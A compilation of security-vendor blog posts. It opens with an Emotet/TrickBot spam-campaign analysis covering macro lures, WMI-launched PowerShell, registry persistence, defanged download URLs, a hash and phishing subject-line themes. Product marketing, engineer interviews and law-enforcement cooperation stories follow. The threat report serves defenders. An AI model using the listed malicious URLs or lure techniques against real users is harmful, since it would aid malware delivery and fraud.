The types of emails being used in these attacks come in various forms. The first is an email with a link to an Office document file that contains a malicious macro, which then downloads the malicious executable payload (Figure 2). The Email .Cloud product contains the Link Following service that follows any links it finds in emails to determine if they are spam or malware, which is just one of the benefits of using Email Security.cloud.
Figure 2. Emotet spam with link to Office document
The second type of email we observed is one with the Office document attached to the email (Figure 3).
Document SHA256: 4e35e66d898a56184f42674c5bc41d4abe219beabeafb4cbdddf8ae974326839
Figure 3. Emotet spam with Office document attached
Emotet uses social engineering techniques in its spam campaigns, tricking users into opening the file and running the macro to infect victims’ computers. As seen in Figure 4, the document uses a fake warning message asking users to “Enable Editing” in an attempt to trick the user into executing the malicious macro script.
Figure 4. Emotet spam tricks users into running malicious macro
The document summary information shows the document was created just a few hours prior to the attack.
Figure 5. Document used by Emotet was created hours before attack
When the document is opened a malicious macro downloads Emotet’s main module. The macro, which is highly obfuscated in an attempt to bypass traditional antivirus signatures, uses Windows Management Instrumentation (WMI ) classes, such as winmgmts:Win32_Process, to call powershell.exe.
Figure 6. Obfuscation carried out using WMI command
Emotet is known to hide its payloads in a document’s objects and streams and this variant is no different.
Figure 7 shows a Base64-encoded malicious payload hidden in document streams.
Figure 7. Base64-encoded malicious payload hidden in document streams
The macro uses an obfuscated PowerShell command to download the Emotet binaries. By using legitimate living-off-the-land binaries (LoLBins), such as windows PowerShell and WMI, the macro can evade detection by security software.
Figure 8. Macro uses legitimate living-off-the-land binaries
Figure 9. Encrypted PowerShell command
Figure 10. Decrypted PowerShell command
The Emotet module downloads additional payloads to the user’s computer. In Figure 11, we can see that the Emotet module has downloaded the file scanscan.exe to the %AppData% folder. This is the final TrickBot payload, which will conduct further destructive activities. Emotet will create a persistent entry in the registry to make sure that TrickBot runs every time the user logs on.
Figure 11. Emotet downloads final malicious payload
Figure 12. Emotet creates persistent entry in the registry for TrickBot
Indicators of compromise (IoCs)
Office document:
SHA256-4e35e66d898a56184f42674c5bc41d4abe219beabeafb4cbdddf8ae974326839
URLs:
url: [hxxp]: [//]www.4celia.com/wp-admin/2z8/
url: [hxxp]: [//]capsaciphone.com/wp-admin/q07360/
url: [hxxp]: [//]travalogo.com/pseovck27kr/est21175/
url: [hxxp]: [//] miracles-of-quran.com/css/ny77597/
url: [hxxp]: [//]essay.essaytutors.net/cgi-bin/mqdm65698/
Registry:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\scanscan
Processes:
scanscan.exe - %APPDATA%\Local\scanscan\scanscan.exe
These IoCs are for just one of the variants of Emotet we blocked on December 12, 2019. We have seen multiple similar variants successfully blocked by our heuristics engine scanner over the past few months.
We have blocked a high volume of malicious emails with various social engineering subject lines targeting various financial institutions. Some of the subject lines contained the following keywords:
Invoices
Shopping cart processing
Account balance
Accounts payable
Port clearance and departure etc.
Protection
These runs were successfully blocked with heuristics that were created as far back as 2016 for our Email Security.cloud security scanner. The advanced scanner is methodical in detecting obfuscation techniques used to hide malicious payloads. Email Security.cloud customers are protected from malware campaigns such as the one discussed in this blog.
Symantec proactively protects against Emotet spam with its email security suite of products:
Email Security.cloud
Symantec Messaging Gateway
File-based protection:
Trojan.Emotet
Trojan.Trickybot
Infostealer.Rultazo
Trojan.IcedID
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Living-off-the-land techniques remain popular, with Symantec blocking 480,000 PowerShell commands in one month alone
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In Digital Transformation, Don’t Overlook the User Experience
AppNeta for Symantec Network Security delivers end-to-end performance visibility
Digital transformation is re-inventing the way business is done. Supporting work-from-anywhere to enable a remote and distributed workforce, discovering hidden threats and malicious payloads through predictive analytics, and assessing user behavior mapped to productivity workflows against threat risk vectors in real-time are all game-changing. But what’s the point of digital transformation if the user experience is poor? Recognizing the importance of aligning application and network performance for end users to meet business objectives, Broadcom Software acquired AppNeta in February 2022. AppNeta provides active network and application performance monitoring from the end-user perspective.
The reality of cloud-based digital transformation is that it often jeopardizes the end-user experience. As user traffic moves across cloud-connected networks to applications, it might travel convoluted paths where network interconnects and bottlenecks negate the benefits of digital transformation. And the surge in remote work due to the COVID-19 pandemic only amplifies the network performance hurdles that must be overcome.
Recognizing the importance of aligning application and network performance for end users to meet business objectives, Broadcom Software acquired AppNeta in February 2022.
Furthermore, digital transformation requires transition to cloud technologies, but demands comprehensive security controls as part of the cloud solution stack. Symantec Network Security solutions provides that ability - to secure users and the applications they interact with across any network and cloud delivery path against advanced threats.
To achieve the ROI of digital transformation you need to understand what’s going on from end to end across the network, factoring in cloud security overlays and the complete cloud delivery path. It’s a daunting challenge, but one that has been tackled by AppNeta integration with Symantec.
The time is right for this integration. According to IDC analyst Stephen Elliot, "The enterprise network monitoring market has completely transformed in the past two years, with a much deeper focus on managing how network performance impacts end user productivity. Organizations that can pinpoint performance issues affecting digital experience will gain a strategic advantage by ensuring excellent quality of service independent of user location."
AppNeta Technology
AppNeta by Broadcom Software is a software-as-a-service (SaaS) solution that enables IT, Network and Security Operations to see how users experience their applications, at any time, regardless of location or network. It lets administrators quickly pinpoint issues that could degrade network and cloud application performance. It also continuously monitors cloud and web-based applications to make sure they meet and adhere to vendor’s service-level agreements (SLAs).
AppNeta Monitoring Points provide active monitoring from the end-user device or via hardware appliances to the cloud service to analyze performance for the end-to-end path and every hop in between. To isolate the root cause of performance issues, AppNeta carries out active and passive testing on the entire application and network delivery path.
The AppNeta solution has three components with different metric capabilities [see chart] that work together to identify network and application trouble spots that a traditional network monitoring tool can’t see:
Application Usage.
Automatically identifies every application in use on the network. It also isolates performance issues tied to specific users, applications, or locations. And it classifies applications and their performance issues into business-critical, normal, or recreational groups.
Network Delivery.
TruPath™ technology provides active, continuous monitoring for hop-by-hop visibility along any network path, whether Transmission Control Protocol (TCP), User Datagram Protocol (UDP), or Internet Control Message Protocol (ICMP). Managers gain critical metrics over internal, external, and SaaS provider networks.
End-User Experience.
Selenium-based synthetic scripts send alerts that enable administrators to anticipate performance issues on the network, server, or browser. Whether an AppNeta monitoring point is deployed globally or behind a firewall, managers can measure the application delivery path that users experience, whether across WiFi, WAN, LAN, or ISP. IT operations teams can correlate performance across hosts, applications, users, and locations.
AppNeta Integration with Symantec
If your organization is like many others, you are adopting a SASE solution and/or implementing a Zero Trust network architecture as part of your overall digital transformation initiative. AppNeta technology is needed to successfully support both SASE and Zero Trust approaches. AppNeta complements Symantec's Web Security solutions for cloud, on-premise, or hybrid deployments.
AppNeta offers specific, proxy-aware integrations that enable administrators to:
Reduce mean time to identify (MTTI) by quickly determining if a problem is related to the proxy or another part of the network.
See the entire end-to-end network, including complex on-premises environments that include firewalls, WAN routers, SD-WANs, dual-carrier WAN links, and split path/asymmetric routing.
Advanced integrations that offer detailed proxy performance processing, enabling teams to determine cost and latency at each step of the proxy transaction.
Advanced integrations to continuously validate policies, and to monitor and verify acceptable use and threat risk levels, leveraging insights from the Symantec Global Intelligence Network (GIN) insights.
As you transform your business, don’t leave the end user behind. A great user experience is a sign that your digital transformation initiative is delivering on its promise to change the way business is done – for the better.
To learn more about how you can improve the user experience during your digital transformation contact us here.
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Industry and Law Enforcement Cooperation Bears Fruit in Fight Against BEC
Symantec assists in operation that resulted in the arrests of 74 suspected BEC fraudsters
Business email attacks, operated by attackers that have evolved from 419 scams, have continued to plague organizations with an estimated $360 million stolen in 2016 raising to $675 million in 2017, according to the FBI. Symantec identified up to 7,700 distinct organizations targeted in such attacks during 2017, with each organization being attacked an average of 4.9 times during the year.
As well as pursuing technical measures to block such attacks against targets, since December of 2015, Symantec has been participating in a private industry and law enforcement working group with the goal of arresting business email compromise (BEC) attackers. That joint effort, by over 450 individuals spread across private sector companies and international law enforcement agencies, has helped to enable Operation Wire-Wire, resulting in the arrest of 74 individuals in recent months.
Symantec was able to contribute to this effort through the identification of email accounts and infrastructure used by various attackers. Symantec will continue to cooperate with industry and law enforcement in order to pursue additional arrests.
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Information Protection Via Hot Glue Gun? Thankfully, We Can Do Better
Your data is only as safe as your weakest password
The National Cyber Security Alliance marked another Data Privacy Day around the world yesterday (held every year on January 28), bringing together “businesses and private citizens to share the best strategies for protecting consumers’ private information.” After another year of headline-grabbing breaches (think Equifax, Verizon, Uber, to name a few), with more and more data going to the Cloud, and with the stringent regulations of GDPR just on the horizon, education and awareness are more important than ever if we’re going to adequately protect people’s information.
Of course, it starts with trust. And 68 percent of consumers say they don’t trust brands to handle their personal information appropriately. At the same time, enterprises are constantly contending with “That Guy”—you know the one. This is the employee whose dead-simple passwords are stored in an unencrypted file or scribbled on a sticky note under his keyboard. The guy who forwards work stuff to his personal email and uses scores of unsanctioned apps.
Challenges all around. But understanding the scope of the issue is step one, and as Symantec’s annual Internet Security Threat Report noted last year, many organizations underestimate the issue: at the end of 2016, the average enterprise organization was using 928 cloud apps. But most CIOs thought their organizations were only using around 30 or 40. That’s a pretty stark gap in terms of understanding the scope of the challenge.
The good news is awareness is growing, and forward-thinking companies have honed-in on the key question: how do you protect huge volumes of business information when your employees are using hundreds of cloud apps (often connecting via personal, unmanaged devices) and bypassing your data center and VPN in the process?
In other words, how do you protect the organization from That Guy (and actually protect him in the process, too)?
Here are some best practices.
It’s time to shine a very bright spotlight on shadow data.
Symantec’s most recent Shadow Data Report found that 20% of files and 29% of emails in cloud apps were “shared broadly”—meaning they were sent to the entire organization, an external party or shared publicly to anyone with access to a link. That puts a potentially massive amount of sensitive data at risk.
Shadow data compromises all of the unmanaged content that users are uploading, storing, and sharing, sanctioned and unsanctioned apps alike. Even if an organization were to successfully limit employees to the use of secure file sharing apps, it still wouldn’t mean they have fully mitigated the risks of data loss or compliance violations. Smart data governance practices such as identifying and categorizing all cloud data, then enforcing policies around its use, are the only way to stop the leakage of business-critical data.
You also need to protect your cloud apps and data from any device, any user, and any app—both on and off-prem—without having to build a separate island of security in the cloud. To accomplish this, you need a cloud access security tool that gives you visibility into the shadows, one that can find all of the files that users have uploaded and synched to cloud storage. In short, you also need a solution that can automatically encrypt files from DLP policies and allow decryption with identity triggers, from anywhere.
Your data is only as safe as your weakest password.
Users choose convenience over security—whether it’s storing passwords improperly or creating weak passwords and using them everywhere—and that makes it easy for hackers. The password-only approach is broken, and the general trend is in favor of multi-factor authentication leveraging mobile devices to validate a user’s identity. With an easy push notification to their smartphone, users can push a button to verify their login request and get access to business applications—convenient and secure! So, while passwords (when created and stored correctly) still play an important role in security, it’s absolutely critical to have the strongest multi-factor authentication tool available.
Don’t bring a hot glue gun to an Information Protection fight.
When it comes to quickly sharing data with a colleague, sometimes a USB drive seems like a fast and easy solution. No email size limits or Wi-Fi issues to fret about and the like. But a USB-drive isn’t typically the most secure. How many people go back and delete the content once transferred, or even encrypt it to begin with? (We know That Guy doesn’t!) Imagine the damage that could be done if that USB stick were to be lost or stolen or otherwise fell into the wrong hands.
So, what can be done? Well, true story—I’ve actually seen companies use a hot glue gun to gum up users’ USB ports so they’re unusable. Somewhat effective, but not exactly popular!
A different approach is to recognise the reality of user behaviors, and to put in place safeguards to protect the data. Start by using data inspection tools to determine if that data is sensitive. Then, you have options. You can block that data transfer, or you can alert the user to make sure it is an intentional action. Even better, automatically encrypt the USB device or file so only trusted users can open it.
Bigger picture, Symantec recommends that organizations move to an “information- centric security model,” which is fundamentally about protecting data assets without hindering business owners. A fully configured and maintained information-centric security approach provides data protection that follows your information and is transparent to end users.
At the end of the day, That Guy is just trying to do his job—and will probably never adopt all of the best practices that security experts recommend. But for the enterprise who implements centralized visibility and control, together with best-in-class information protection technologies, it’s possible to discover, monitor, and protect your confidential information wherever it’s stored and however it’s used. No matter what That Guy does.
(To learn more about Symantec’s information-centric security model and how to implement one for your organization, check out the IDC white paper here.)
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Innovation Investments Paying Dividends
What Symantec has delivered to customers in 2024 (so far)
We’ve made no secret of the fact that Symantec reinvests more than 20% of revenue back into R&D. What does that really mean for customers? The proof is in our roadmaps and in the software we deliver every quarter. So what have we done for you lately? Here’s a short roundup of what we delivered so far in 2024.
Championing ZTNA & DLP
Symantec has long been a champion of Zero Trust Network Access (ZTNA). DLP integration is a must for ZTNA. If you have our DLP and are looking for a SASE solution you need ZTNA integration. We have it. And in the last quarter we furthered ZTNA integration with DLP.
In the last quarter we also released a new approach to streamlining the administration of ZTNA. and Our Agent Traffic Manager now makes it easy to gradually roll out new capacities including ZTNA. In addition, we’ve launched new ZTNA device-compliant rules.
Securing SASE
Symantec’s partnership with VMware is even stronger now that VMware is part of the Broadcom family. The last quarter brought a great example of how the partnership benefits customers with the release of VMware VeloCloud SASE™, secured by Symantec. Our first collaboration simplifies operations by automatically connecting VMware VeloCloud SD-WAN branch users to the nearest Symantec Enterprise Cloud POP for security enforcement.
Protecting the Endpoint
The ransomware threat continues to evolve. Symantec Endpoint Security has evolved, too. Adaptive Protection provides a new approach to stopping the latest attack techniques. In the last quarter Adaptive Protection has been enhanced to give customers greater control in customizing their protection against Living off the Land attacks.
Delivering SymantecAI
While AI has been used by Symantec for close to a decade to identify new and unknown threats, two new features showcase our investment in GenAI with human readable incident summaries in our Endpoint Cloud Analytics feature and a chatbot to answer questions on Endpoint support. EDR keeps getting better too, with new granular controls, allowing customers to create their own incident adaptations for incidents being triggered by a known benign activity.
Expanding DLP
Last year we helped customers solve new use cases around protecting data loss via unauthorized GenAI usage. We’ve continued to extend how we support cloud apps in a way that brings multiple layers of protection. For example, our extended support for GitHub in CloudSOC perfectly compliments the added detection we provide to identify access tokens, secrets and certificate tokens in DLP 16 RU1 (which may be inadvertently posted to GitHub). We have also extended Risk Analytics visibility to CloudSOC, building on the powerful Information Centric Analytics capabilities available in DLP Core.
The integration between DLP and other systems is highly valued by customers, ensuring DLP can truly embed into their way of working. We have just recently extended our integration with Google Cloud, and if you are attending RSA, stop by to learn more about our integration with Seclore Rights Management.
Enhancing Platform Capabilities
The modern SOC has a variety of API to collect and ingest data. That’s a problem. It’s time consuming and expensive to support all these APIs. Symantec Enterprise Cloud is about simplifying management. And in the last quarter Symantec introduced our initial support of Kafka, a streaming platform that allows an industry standard way of exporting data. Cloud SWG events can now be streamed and additional support is on the way.
We’ve also enhanced what our agent can do. The Symantec Enterprise Agent knows a lot about the health of a device, information that can be shared with network solutions to better determine access policies for a particular application. Now, the same agent that redirects traffic to private applications includes the Device Posture data to enable better decision-making. This helps our platform apply fine-grained controls to manage access by risky devices. If a user’s device doesn’t meet an organization’s device security criteria, policy can now restrict risky access to private applications.
And More To Come
The threat landscape constantly changes. Our innovation is key to keeping our customers safe. And we deliver it every quarter. If you’d like more details, or to talk with us about the next quarter, visit us at RSA 2024, North Hall Booth 6164.
And you can also find out more about Symantec and Carbon Black joining forces in the new Enterprise Security Group at Broadcom.
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Innovation is Much More Than Something New, Flashy, or Shiny
Innovators@Symantec series
Nick Johnston is a technical director, working primarily on the Symantec Email Security.cloud product, with a focus on URL-based threats.
Can you share a little about your background and what your team works on?
I joined MessageLabs in 2005 as a software engineer to work on the company’s anti-spam service. Looking back now, MessageLabs was a SaaS pioneer. Symantec acquired MessageLabs in 2008. Now I’m working on a team responsible for an anti-spam engine, link-following (checking URLs extracted from email for malware, phishing, and spam), and a telemetry analysis platform which gives us insight into how our service is protecting our customers.
What are some of the innovations your team has developed that you're most proud of?
Our link-following platform started as a humble experiment running on a single already-overloaded server. The potential was clear immediately. We dramatically increased our capacity, and over time added many more features to protect customers from the latest threats, evolving into the advanced platform we have today.
More recently we’ve been using OCR in our email scanning to handle some threats. This benefits from an earlier innovation: being able to push rules and signatures to our entire production environment in under a second.
You are developing security solutions for many of the world's most well-known and demanding companies, based on what you hear from them, what trends are driving Symantec's product roadmap?
Large enterprise customers often have their own security teams and want deeper insight into the threats we block. Such customers sometimes also want much more customization, even the ability to provide custom policies, rules, or heuristics. Implementing this securely with high performance in our multi-tenant environment can be difficult, but that’s our job.
That leads to another point—recently I met with a customer and was staggered by the sheer complexity of their overall infrastructure. So many vendors. A mixture of on-prem and cloud. Mind-boggling amounts of data. Our products need to seamlessly integrate with each other lest they add to the existing management burden. Regular account reviews are important to see if new features in our products could help customers simplify their infrastructure by removing other products that may no longer be necessary.
Is there capability that Symantec offers that sometimes flies under the radar, but when a customer sees it, they have a "wow" moment?
One of the challenges of operating a managed filtering service is that when we do our job right, we are invisible. Threats are identified and blocked before they reach customer inboxes. Obviously, we provide reports and stats, but stressed IT teams often have more pressing priorities.
In the security space we’re fighting active adversaries, which adds other problems. We must be careful how much we disclose about the inner workings of our products. Showcasing our technology is great; leaking valuable trade secrets and comprising the effectiveness of our products is not.
Something that often gets a "wow" reaction is how our link-following platform uses deep integration with Symantec’s advanced anti-virus technology to discover threats in documents hosted on various cloud services—and then distribute that intelligence back to our scanning infrastructure in under a second. Vendors who license a third-party anti-virus engine often only have limited integration with it. Symantec, on the other hand, reaps the rewards of its decades-long investment.
What does being an Innovator mean to you?
To me, being an innovator means improving the customer experience by breaking cultural and technical barriers. Innovation is much more than something new, flashy, or shiny—those things might be dangerous distractions which won’t necessarily help our customers. To innovate, we often need to challenge and overcome entrenched, deep-seated views like “we can’t do that” or “what you’re suggesting is too difficult”.
As an innovator, I have to remind people that we exist for our customers. Engineers often have perfectionist tendencies, making them susceptible to falling into the trap of forever wanting to polish and tweak something while failing to question whether this work benefits customers. There’s no place for outdated, harmful rivalry across teams—instead we need to unite and collaborate to improve the customer experience.
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Innovation Must Solve a Real Customer Problem
Innovators@Symantec series
Mark Gentile is a distinguished engineer and one of the chief architects for Symantec Enterprise Division, creating the architecture to support Symantec’s various security solutions. Mark was the founder and CEO of Odyssey Software, a mobile device management and security company acquired by Symantec in 2012.
Mark, how did things change when Odyssey Software was acquired by Symantec?
I'm an engineer at heart, so when I came to Symantec, I wanted to go back to the things that I loved doing. I enjoy product engineering and innovating, and I had the opportunity to do what I love with a bunch of really smart people. It impressed me on how passionate and intelligent all of the people in the engineering org were at Symantec. I loved being around the people I was working with and the mission to build products, technology, and solutions that help protect our customers from bad actors.
How has Symantec focused on innovating after the Broadcom acquisition?
Previously, we were structured in a way that didn’t support our ability to realize our true vision and potential. Before Broadcom, we had different leaders running endpoint security, information security, and network security. There wasn’t any common prioritization or alignment across them, so what was important to one group, may not have been so important to another.
Now that everything is all under a single General Manager for the division, along with a single Engineering executive, and single Product Management executive, we are realizing and delivering on our vision. For example, we’ve always had a vision for a single agent with configurable feature blades that support our broad product portfolio. Since the Broadcom acquisition, we have started delivering on this vision, with continued expansion and feature extensibility in each subsequent agent release. That's something that would've never happened without changing the executive organization so that we can align and execute on that vision.
What are some examples of innovations that you’ve been involved with?
I’d have to say Adaptive Protection, Adaptive Isolation, IPS and Threat Defense for Active Directory (TDAD).
Adaptive Protection came about because we tracked a significant rise in attacks that leverage “living off the land” (LOTL) attack techniques. To explain this a bit more, attack operators explore target systems for existing tools and software (“the land”), such as operating system features or installed applications. They then leverage what they find to conduct the attack, often without leaving any artifacts - hence “living off the land”. Typically, this starts out with a phishing email with an attached document containing active content (macros), or an attached application shortcut file. In the document example, attackers use the active content in the document to execute and chain together various tools and OS features into a well-orchestrated LOTL attack. Many of these tools and OS features that attackers leverage are normally unused in customer environments, yet serve as open “doors and windows” for attackers. We needed to provide a way for our customers to automatically lock the “appropriate” doors and windows they weren’t using to protect their organization. Adaptive Protection delivers on this.
Our IPS technology provides network protection directly on the endpoint stack. IPS will look at inbound and outbound network behaviors and content and convict malicious activity. This protection often occurs even before a file reaches a machine, or if the file is already on the machine and it attempts to reach out to a command and control server.
Threat Defense for Active Directory (TDAD) has also been a game changer. Every targeted attack involves lateral movement in the target environment. In a typical attack, once the attacker lands, they begin to leverage Active Directory (AD) to explore the environment looking for target machines, users, and resources. By design, Active Directory is an open database, which holds a wealth of information about an environment. Any valid user on a domain-joined machine is able to query AD for information about the environment. Attackers leverage this once they land to find the most interesting targets, then attempt to move laterally to these targets to progress the attack. Symantec’s TDAD uses innovative techniques to deceive, identify and isolate the attackers when they try to leverage AD for malicious purposes.
I can go into these further if you want to have a followup blog.
Thanks, Mark, we just might do that! Is there anything else Symantec has done to help foster innovation?
There are two other things that we’ve done that are top-of-mind.
First, an innovation must solve a real customer problem. And to understand the problem, it's very important to have a relationship with the customer. In many cases, before we give early adopter customers code to test, we meet with them. We explain what we are thinking and why we are thinking this. For example, we met with customers and described the Adaptive Protection features in detail before we built it. We needed to hear what was most important and what was keeping them up at night, i.e., their biggest challenges around security. So, listening to the customer and engaging with them allows us to deliver the best solution.
The other thing that is key, is about how you execute and deliver on innovations. To accelerate the pace at which we innovate, we need to do real world experimentation; and in order to actually do experimentation in the field without disrupting customers, we need to be able to release code silently, in a very controlled safe manner. We do this with “feature flags”. With feature flags, we can turn “on” a feature for a select set of customer participants rapidly and iterate. This shrinks the time it takes us to cycle and get feedback on its efficacy performance, reliability, failure rate, etc. It’s important to measure and understand these metrics. Since we're doing it silently, we would be silently blocking, not actually blocking, but we would return back telemetry to help us analyze and iterate until we get it right.
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Innovation Starts With Understanding The Problem
Innovators@Symantec series
Spencer Smith is a Symantec Distinguished Engineer, supporting Symantec’s security solutions.
Spencer, how did you come to Symantec?
I came to Symantec in 2003 to work on core technology used in Symantec Endpoint Protection and Norton Internet Security. I started as an engineer, became an architect, and have since designed and built many of the core technologies used in our security products today.
What is your role today?
In my current role, I look across the portfolio to identify challenges and opportunities that apply to all of our products. In that capacity, I help ensure that each of the products in our portfolio is maintaining a high standard of excellence with regard to their Software Development Life Cycle (SDLC).
The code in our products runs within our customers’ environments and interacts with our customers’ data. Our first care must be to not cause harm to those environments or data. As such, the security of our supply chain and the robustness of our code and its ongoing monitoring, measurement and maintenance is a top priority.
I also work with each of our separate product teams in combination with our core efficacy team to ensure we leverage the capabilities of all of our products to provide best of breed protection and detection. Our products evaluate potential threats at several different control points, including gateway, email, and endpoint. Each of those control points has different visibility and different tolerance for aggressive protection. An endpoint, for example, may see a new threat and block it based on behavioral analysis. We can then begin detecting and blocking that threat at other control points before the threat is even allowed to run. As the capabilities of each control point develop and evolve, we are always working to expand the breadth and increase the speed of that intelligence sharing between those control points.
What does being an innovator mean to you?
Innovative ideas don’t come out of thin air. High value innovation always starts with a thorough understanding of the problem space. I have seen attempts at innovation fail because they were either solving a non-existent problem or were not solving the root of the problem. For me, innovation starts with learning about the threat landscape, learning about our customers’ constraints and learning about the distinct capabilities of each of our control points. With that background, it is much more likely that ideas will have a high value, lasting impact. True innovation isn’t just a curious idea, it solves a real problem.
Once you have an idea about how to solve a problem facing our customers, it is necessary to decide how the solution will be delivered. Our products have been around for a long time. Increasing functionality by simply adding a new driver or executable is not sustainable. Innovation is also required to determine how a feature will be delivered in the product, how it will be updated, how it will be maintained, and how its value can be measured. The ability to deliver technologies to a shared platform as a functionality “blade” is an ongoing effort that we have been evolving within Symantec for over a decade. New functionality must fit into a cohesive product. Failing to do that will invariably lead to performance and stability problems down the road.
What are some of the team’s innovations that you are most proud of?
Recent innovations that I am particularly proud of are the recent addition of Yara support and the development of our Adaptive Isolation technology.
Yara has been around for some time and custom detections through Yara has been a common request from our most sophisticated customers. The challenge we faced with including Yara in our product, though, was that we would be effectively combining three sets of externally produced content: the Yara engine itself, the Yara rules provided by the customer and the content being scanned. Simply dropping this functionality in without any guardrails would be an unacceptable risk. A newly discovered vulnerability in the Yara engine could result in our product being the vector of an attack. A poorly written Yara rule could render an endpoint unusable. To protect our product and our customer’s environments, we chose to wrap the Yara engine in our ‘CP3’ engine. This engine allows us to run untrusted content in a protected environment and then extract the result. We built the CP3 environment to allow us to run emulation scans on script, macros, and executable content. It was a short step to embed the Yara engine in the same CP3 wrapper to provide the ability to get custom detections without putting the integrity of the system at risk.
Our new Adaptive Isolation feature continues to reduce even further the attack surface available to malicious actors that began with the release of Adaptive Protection. Adaptive Isolation uses our threat intelligence to identify actors that may not be confirmed as malicious but are not yet trustworthy. Those actors are then prevented from modifying critical resources on the endpoint. If the actor is not malicious, then blocking this access will likely have no effect. However, if the attacker is malicious, Adaptive Isolation will provide another layer of protection on top of our other network, static, and behavioral protections already in place.
In general, we emphasize protection in depth at each control point and between control points. It is always preferable to block a threat as early as possible. We are realistic, though. There is no single layer of protection that will prevent all attacks. We continue to innovate by safely narrowing the threat surface, adding new layers of protection, and sharing data between each layer of protection. The recent addition of Yara allows us to provide best in class protection out of the box, customer aware protection through our Adaptive technologies together with customer provided detections using a single footprint.
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Innovation That Exceeds Expectations
Innovators@Symantec series
Can you share a little of your background?
My journey began 30 years ago as a software developer, where I had the great opportunity of implementing the first SSL library integrated with the network security stack. I later played a major role in building and operating one of the first supply chain SaaS applications. Currently, I'm the engineering product owner for several Symantec Enterprise products.
One of those products is Cloud SWG. It's a cloud-based network security solution that offers low latency, high performance network proxy solution. Cloud SWG really serves as a platform backbone for many of the other cloud-based Symantec Enterprise products. That includes CASB, DLP, Web Isolation, and ZTNA, our zero trust solution.
What trends have you seen among customers in that time?
The biggest change is the number of security products customers use. We now hear from customers that it’s a significant challenge to managing and coordinate all the vendors in trying to establish an end-to-end and comprehensive approach to their security infrastructure and threat protection. Imagine having three to five, or even more, different vendors, and trying to stitch them together.
Customers want to rely on one single vendor, like Symantec. One that will allow them to fulfill their security requirements from end to end. So that desire and that demand has been the driving force behind our two major roadmap initiatives, a single console, and a single agent across all our products.
Do you have a good example when a customer sees a feature they didn’t know about and has a "wow" moment?
When we migrated out of all the collocated data centers into Google Cloud Platform (GCP). It was considered a migration; therefore it flew under the radar of most customers. But now that we're in GCP, in a cloud native environment, there are some huge benefits. Those benefits are improving customers experience dramatically.
One is true scalability. We easily meet the evolving needs and demands of our customers. We are able to rapidly increase our capacity. During COVID, a lot of the workers had to go home and start working remotely, many vendors could not increase their capacity fast enough across regions, because everything was locked down.
We can increase our capacity within minutes. We were easily able to scale out and satisfy our customers' needs. It also allows us to dynamically respond to surges in traffic. And meet any requirements in specific regions.
User traffic routing through our Cloud SWG stack, including network security and threat protection, actually outperforms direct internet access. We had third party testing done to confirm this. Customers were basically floored when we highlighted these benefits and had numbers to show them.
What is the innovation at Symantec that you are most proud of?
As we all know, there's a super heightened focus on generative AI. Customers are keen to explore the potential of generative AI, while trying to figure out how they can safeguard their organization from threats of malicious actors. They really need to figure out how to protect their internal, confidential, and sensitive data. Because as their users to start leveraging AI they're afraid that sensitive data will be leaked out.
In response to this challenge, our CASB team, the gatelet team, and DLP team together, developed one of the first industry inline CASB gatelet specifically designed to provide visibility and controls for ChatGPT, Google Bard, and other AI platforms. It’s an innovative solution that really allows our customer to not just have control, but also having visibility into their user's interaction with these AI tools. And then, we're leveraging DLP to prevent any kind of unauthorized leaks of confidential information.
What does being an Innovator mean to you?
For me, to be an innovator is to come up with solutions that delight our customers. Not just satisfy their requirements, but coming up with solutions to their problems that goes above and beyond satisfying them. When we do that, our customers truly believe that we're their partners, truly believe that staying working with Symantec and staying with our product portfolio, they can get a much, much better experience compared to going with our competitors. To me, being innovator is to really go above and beyond and do whatever's necessary to delight our customers. Finding a way to exceed expectations.
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Inside a Private-Public Partnership that Helps Law Enforcement Nab the Bad Guys
Since 2010, Symantec has helped law enforcement break up cyber crime networks in at least eight major cases
On January 18 of this year, officials loaded Alexander Zhukov onto a flight headed for the U.S. That same day, the 38-year-old Zhukov appeared in federal court in Brooklyn, New York to face charges in one of the most wide-ranging and lucrative ad-fraud schemes ever perpetrated on the internet.
In its 13-count criminal indictment, the U.S. Attorney’s Office alleged that Zhukov, along with five others, was part of an underground cyber syndicate that, among other deeds, built a global bot-net, infecting 1.7 million personal computers, that defrauded the digital advertising industry out of as much as $36 million.
The crew allegedly did this by placing fraudulent ads on “spoofed” versions of real websites, then either directing their robot army to visit those sites and click ads, or simulating such visits with datacenter servers, creating the illusion that real humans were viewing the ads. They then reaped the revenues from deals with real-world advertisers.
The FBI’s Cyber Division in New York helped nab the bad guys, and coordinate the takedown of their bot-net, with crucial help from a public-private partnership with several tech companies, including Google, the bot-net detection firm White Ops, and Symantec.
They achieved this through the FBI’s National Cyber Forensics and Training Alliance, a public-private group that draws in dozens of tech companies and allows them to share data with cops and each other via a secure online portal as well as real-world meetings.
The Criminal Hunt Begins
In early 2017, White Ops, which tracks botnets and other mass infections online, first noticed an unusual malware making its way through cyber space. “We’re seeing bots all day, every day, and not everyone grabs our attention, but this one did,” says Michael Tiffany, co-founder of the six-year-old security outfit headquartered in New York City.
What was different about this infection, says Tiffany, “was the high level of virulence. It was operating with an extraordinary diversity of IP addresses, which differed month to month. These guys were doing something more sophisticated than the average bear. They were employing a higher level of sophistication to evade detection than we’d ever seen.”
Because of that evasive maneuvering, and because the sophisticated ad-fraud operation was composed to three sub operations designed to commit different kinds of ad fraud, the White Ops team named it 3ve (pronounced “eve”) and decided to call in the cavalry.
Calling in The Nerds
Symantec has a long history of working with law enforcement agencies around the world, going back some 15 years. It gets involved in criminal cases in one of two ways, says Symantec Technical Director Vikram Thakur, who helped found the company’s attack investigations team of global intelligence analysts: “Either we find something that we determine law enforcement is best positioned to tackle or else they come to us for help.”
What Symantec doesn’t do, Thakur points out, is share customer information with the authorities. “Our dealings are strictly on the technical aspects,” says Thakur. “We tell them how things are working, how a botnet is designed to do what it does, where the infrastructure is located. Then they go look under the rocks to find out who is behind it.”
Since 2010, the company has helped law enforcement break up cyber crime networks in at least eight major cases. Those include the botnets Waledac, Bamital, Ramnit, the ransomware Gameover Zeus, and the Bayrob gang that conned victims out of millions of dollars through online scams like fake car auctions, credit card theft, and cryptocurrency mining using infected computers. “That’s the longest-running case we’ve worked on,” says Thakur.
When FBI agents contacted Symantec about 3ve that same year, Symantec’s engineers had a head start. Four years earlier, in 2013, the company’s threat intelligence division had identified one of the malware Trojans, known as Kotver, that would be linked to 3ve.
More than a dozen Symantec specialists were involved, including engineers who broke down the threat in real time, analysts in the Security Technology and Response (STAR) team, and even the government affairs team.
